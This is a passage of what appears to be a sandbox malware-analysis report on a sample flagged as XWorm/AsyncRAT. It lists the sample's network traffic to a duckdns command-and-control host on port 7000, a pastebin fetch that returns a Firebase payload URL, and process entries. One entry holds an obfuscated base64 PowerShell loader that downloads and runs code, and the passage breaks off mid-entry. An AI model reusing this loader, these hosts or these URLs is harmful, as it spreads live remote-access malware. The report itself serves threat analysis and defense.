Nov 23, 2024 06:56:51.214477062 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:51.221250057 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:51.340775013 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:51.346168995 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:51.353250027 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:51.514914036 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:01.136970997 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:01.256495953 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:01.257399082 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:01.376808882 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:01.558219910 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:01.565277100 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:01.782183886 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:01.782274961 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:01.786906958 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:01.907958984 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:02.875144005 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:02.994699955 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:03.295696020 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:03.333283901 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:03.453124046 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:06.561780930 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:06.681468010 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:06.761878967 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:06.881469011 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:06.990245104 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:06.991662979 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:07.111275911 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:07.182799101 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:07.185406923 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:07.305042028 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:09.881494999 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:10.059305906 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:17.230736017 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:17.350223064 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:17.651561975 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:17.653294086 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:17.772844076 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:22.309156895 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:22.428817987 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:22.428920984 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:22.548552990 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:22.548631907 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:22.668252945 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:22.668314934 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:22.730113983 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:22.787961006 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:22.788043022 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:22.860208988 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:22.907628059 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:22.907684088 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:22.979999065 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:23.027250051 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:23.027292013 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:23.103293896 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:23.146775961 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:23.146836996 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:23.219501972 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:23.263370037 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:23.266379118 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:23.266746044 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:23.386344910 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:23.981348038 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:24.100991964 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:24.402354956 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:24.466553926 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:24.586342096 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:27.872657061 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:27.992366076 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:28.121344090 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:28.241166115 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:28.293555021 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:28.295351028 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:28.414864063 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:28.542723894 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:28.544466972 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:28.664061069 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:30.093333006 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:30.212924957 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:30.517096996 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:30.518954039 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:30.638530970 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:32.902741909 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:33.022386074 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:33.022429943 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:33.142307997 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:33.142366886 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:33.262006044 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:33.262080908 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:33.324270010 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:33.371393919 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:33.381814957 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:33.382137060 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:33.454221964 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:33.498323917 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:33.501739025 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:33.503700018 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:33.574012995 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:33.623397112 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:33.629353046 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:33.694005013 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:33.749058962 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:33.753370047 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:33.815582991 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:33.817501068 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:33.873078108 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:33.878185034 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:33.937190056 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:33.997880936 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:37.715379953 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:37.835043907 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:38.139858961 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:38.149820089 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:38.269421101 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:38.918337107 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:39.037967920 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:39.137135029 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:39.256891966 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:39.339406013 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:39.344067097 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:39.463617086 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:39.557832956 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:39.561340094 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:39.680958033 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:39.683402061 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:39.804351091 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:39.886199951 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:39.936348915 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:40.142817020 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:40.144012928 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:40.263662100 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:40.933844090 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:41.055408955 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:41.365387917 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:41.371438980 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:41.492054939 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:42.061486959 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:42.181319952 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:42.482472897 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:42.483359098 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:42.602919102 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:42.715200901 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:42.834896088 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:43.135874033 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:43.136663914 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:43.256227016 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:44.902743101 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:45.022377968 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:45.323879957 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:45.327379942 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:45.446995020 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:59.203099012 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:59.322746992 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:59.624744892 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:57:59.625632048 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:57:59.745265961 CET	7000	49710	154.216.17.204	192.168.2.12

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 23, 2024 06:53:50.846421003 CET	49905	53	192.168.2.12	1.1.1.1
Nov 23, 2024 06:53:51.182189941 CET	53	49905	1.1.1.1	192.168.2.12
Nov 23, 2024 06:54:01.649517059 CET	52958	53	192.168.2.12	1.1.1.1
Nov 23, 2024 06:54:01.787502050 CET	53	52958	1.1.1.1	192.168.2.12

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 23, 2024 06:53:50.846421003 CET	192.168.2.12	1.1.1.1	0xcfe8	Standard query (0)	saviloe24.duckdns.org	A (IP address)	IN (0x0001)	false
Nov 23, 2024 06:54:01.649517059 CET	192.168.2.12	1.1.1.1	0x9266	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 23, 2024 06:53:51.182189941 CET	1.1.1.1	192.168.2.12	0xcfe8	No error (0)	saviloe24.duckdns.org	154.216.17.204	A (IP address)	IN (0x0001)	false
Nov 23, 2024 06:54:01.787502050 CET	1.1.1.1	192.168.2.12	0x9266	No error (0)	pastebin.com	104.20.3.235	A (IP address)	IN (0x0001)	false
Nov 23, 2024 06:54:01.787502050 CET	1.1.1.1	192.168.2.12	0x9266	No error (0)	pastebin.com	104.20.4.235	A (IP address)	IN (0x0001)	false
Nov 23, 2024 06:54:01.787502050 CET	1.1.1.1	192.168.2.12	0x9266	No error (0)	pastebin.com	172.67.19.24	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

pastebin.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.12	49711	104.20.3.235	443	6236	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 05:54:03 UTC	169	OUT	GET /raw/Adv9gBHa HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: pastebin.com Connection: Keep-Alive
2024-11-23 05:54:03 UTC	391	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 05:54:03 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: EXPIRED Last-Modified: Sat, 23 Nov 2024 05:54:03 GMT Server: cloudflare CF-RAY: 8e6ee702ff9c42e6-EWR
2024-11-23 05:54:03 UTC	149	IN	Data Raw: 38 66 0d 0a 68 74 74 70 73 3a 2f 2f 66 69 72 65 62 61 73 65 73 74 6f 72 61 67 65 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 76 30 2f 62 2f 72 6f 64 72 69 61 6b 64 2d 38 34 31 33 64 2e 61 70 70 73 70 6f 74 2e 63 6f 6d 2f 6f 2f 64 6c 6c 25 32 46 64 6c 6c 72 6f 64 61 2e 74 78 74 3f 61 6c 74 3d 6d 65 64 69 61 26 74 6f 6b 65 6e 3d 39 64 34 33 32 39 65 34 2d 65 37 32 37 2d 34 63 36 38 2d 39 34 31 61 2d 61 37 34 31 65 36 63 61 64 66 66 33 0d 0a Data Ascii: 8fhttps://firebasestorage.googleapis.com/v0/b/rodriakd-8413d.appspot.com/o/dll%2Fdllroda.txt?alt=media&token=9d4329e4-e727-4c68-941a-a741e6cadff3
2024-11-23 05:54:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.12	49712	104.20.3.235	443	6320	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 05:54:03 UTC	169	OUT	GET /raw/Adv9gBHa HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: pastebin.com Connection: Keep-Alive
2024-11-23 05:54:03 UTC	391	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 05:54:03 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: EXPIRED Last-Modified: Sat, 23 Nov 2024 05:54:03 GMT Server: cloudflare CF-RAY: 8e6ee702ea9c0f84-EWR
2024-11-23 05:54:03 UTC	149	IN	Data Raw: 38 66 0d 0a 68 74 74 70 73 3a 2f 2f 66 69 72 65 62 61 73 65 73 74 6f 72 61 67 65 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 76 30 2f 62 2f 72 6f 64 72 69 61 6b 64 2d 38 34 31 33 64 2e 61 70 70 73 70 6f 74 2e 63 6f 6d 2f 6f 2f 64 6c 6c 25 32 46 64 6c 6c 72 6f 64 61 2e 74 78 74 3f 61 6c 74 3d 6d 65 64 69 61 26 74 6f 6b 65 6e 3d 39 64 34 33 32 39 65 34 2d 65 37 32 37 2d 34 63 36 38 2d 39 34 31 61 2d 61 37 34 31 65 36 63 61 64 66 66 33 0d 0a Data Ascii: 8fhttps://firebasestorage.googleapis.com/v0/b/rodriakd-8413d.appspot.com/o/dll%2Fdllroda.txt?alt=media&token=9d4329e4-e727-4c68-941a-a741e6cadff3
2024-11-23 05:54:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Analysis Process: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exePID: 6636, Parent PID: 4088

General

Target ID:	0
Start time:	00:53:45
Start date:	23/11/2024
Path:	C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe"
Imagebase:	0x6d0000
File size:	33'280 bytes
MD5 hash:	993CBACE6AFACB6CD1017CD01B44A87A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000000.00000000.2499444255.00000000006D2000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000000.00000000.2499444255.00000000006D2000.00000002.00000001.01000000.00000003.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000000.00000002.4978889092.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	00:53:57
Start date:	23/11/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\jglbwx.vbs"
Imagebase:	0x7ff64cb60000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:53:57
Start date:	23/11/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\mknrez.vbs"
Imagebase:	0x7ff64cb60000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:53:58
Start date:	23/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?EM?QwBS?Gg?bQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?QQBk?HY?OQBn?EI?S?Bh?Cc?I??7?CQ?Zg?g?D0?I??o?Fs?UwB5?HM?d?Bl?G0?LgBJ?E8?LgBQ?GE?d?Bo?F0?Og?6?Ec?ZQB0?FQ?ZQBt?H??U?Bh?HQ?a??o?Ck?I??r?C??JwBk?Gw?b??w?DE?LgB0?Hg?d??n?Ck?I??7?Ek?bgB2?G8?awBl?C0?VwBl?GI?UgBl?HE?dQBl?HM?d??g?C0?VQBS?Ek?I??k?EM?QwBS?Gg?bQ?g?C0?TwB1?HQ?RgBp?Gw?ZQ?g?CQ?Zg?g?C0?VQBz?GU?QgBh?HM?aQBj?F??YQBy?HM?aQBu?Gc?I??7?GM?bQBk?C4?ZQB4?GU?I??v?GM?I??7?H??aQBu?Gc?I??x?DI?Nw?u?D??Lg?w?C4?MQ?g?Ds?c?Bv?Hc?ZQBy?HM?a?Bl?Gw?b??u?GU?e?Bl?C??LQBj?G8?bQBt?GE?bgBk?C??ew?k?GY?I??9?C??K?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??x?C4?d?B4?HQ?Jw?p?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?SQBu?HY?bwBr?GU?LQBX?GU?YgBS?GU?cQB1?GU?cwB0?C??LQBV?FI?SQ?g?CQ?UQBQ?HQ?YQB2?C??LQBP?HU?d?BG?Gk?b?Bl?C??J?Bm?C??LQBV?HM?ZQBC?GE?cwBp?GM?U?Bh?HI?cwBp?G4?ZwB9?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?J?Bt?Gk?e?Bm?HU?I??9?C??Jw?w?DE?Jw?g?Ds?J?Bi?Gg?c?Bn?GU?I??9?C??Jw?l?Eo?awBR?GE?cwBE?GY?ZwBy?FQ?Zw?l?Cc?I??7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?bgB1?Gc?awBr?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?CQ?UQBQ?HQ?YQB2?C4?cgBl?H??b?Bh?GM?ZQ?o?Cc?J??k?CQ?J??k?Cc?L??n?EE?Jw?p?C??KQ?g?Ds?WwBT?Hk?cwB0?GU?bQ?u?EE?c?Bw?EQ?bwBt?GE?aQBu?F0?Og?6?EM?dQBy?HI?ZQBu?HQ?R?Bv?G0?YQBp?G4?LgBM?G8?YQBk?Cg?J?Bu?HU?ZwBr?Gs?KQ?u?Ec?ZQB0?FQ?eQBw?GU?K??n?FQ?ZQBo?HU?b?Bj?Gg?ZQBz?Fg?e?BY?Hg?e??u?EM?b?Bh?HM?cw?x?Cc?KQ?u?Ec?ZQB0?E0?ZQB0?Gg?bwBk?Cg?JwBN?HM?cQBC?Ek?YgBZ?Cc?KQ?u?Ek?bgB2?G8?awBl?Cg?J?Bu?HU?b?Bs?Cw?I?Bb?G8?YgBq?GU?YwB0?Fs?XQBd?C??K??n?DQ?MgBv?GM?cwBh?C8?bgBp?GE?bQ?v?HM?Z?Bh?GU?a??v?HM?ZgBl?HI?LwBl?HI?aQBm?C8?YQBs?Gw?aQB1?HE?bgBh?HI?cgBh?GI?N??y?D??MgBu?G8?aQBw?G0?YQBo?GM?LwBt?G8?Yw?u?HQ?bgBl?HQ?bgBv?GM?cgBl?HM?dQBi?HU?a?B0?Gk?Zw?u?Hc?YQBy?C8?Lw?6?HM?c?B0?HQ?a??n?C??L??g?CQ?YgBo?H??ZwBl?C??L??g?Cc?aQBn?GY?e?BF?E0?Ng?0?Cc?L??g?CQ?bQBp?Hg?ZgB1?Cw?I??n?DE?Jw?s?C??JwBS?G8?Z?Bh?Cc?I??p?Ck?Ow?=';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('?','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\user\AppData\Local\Temp\mknrez.vbs');powershell $Yolopolhggobek;
Imagebase:	0x7ff63c0a0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:53:58
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff704000000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	00:53:58
Start date:	23/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 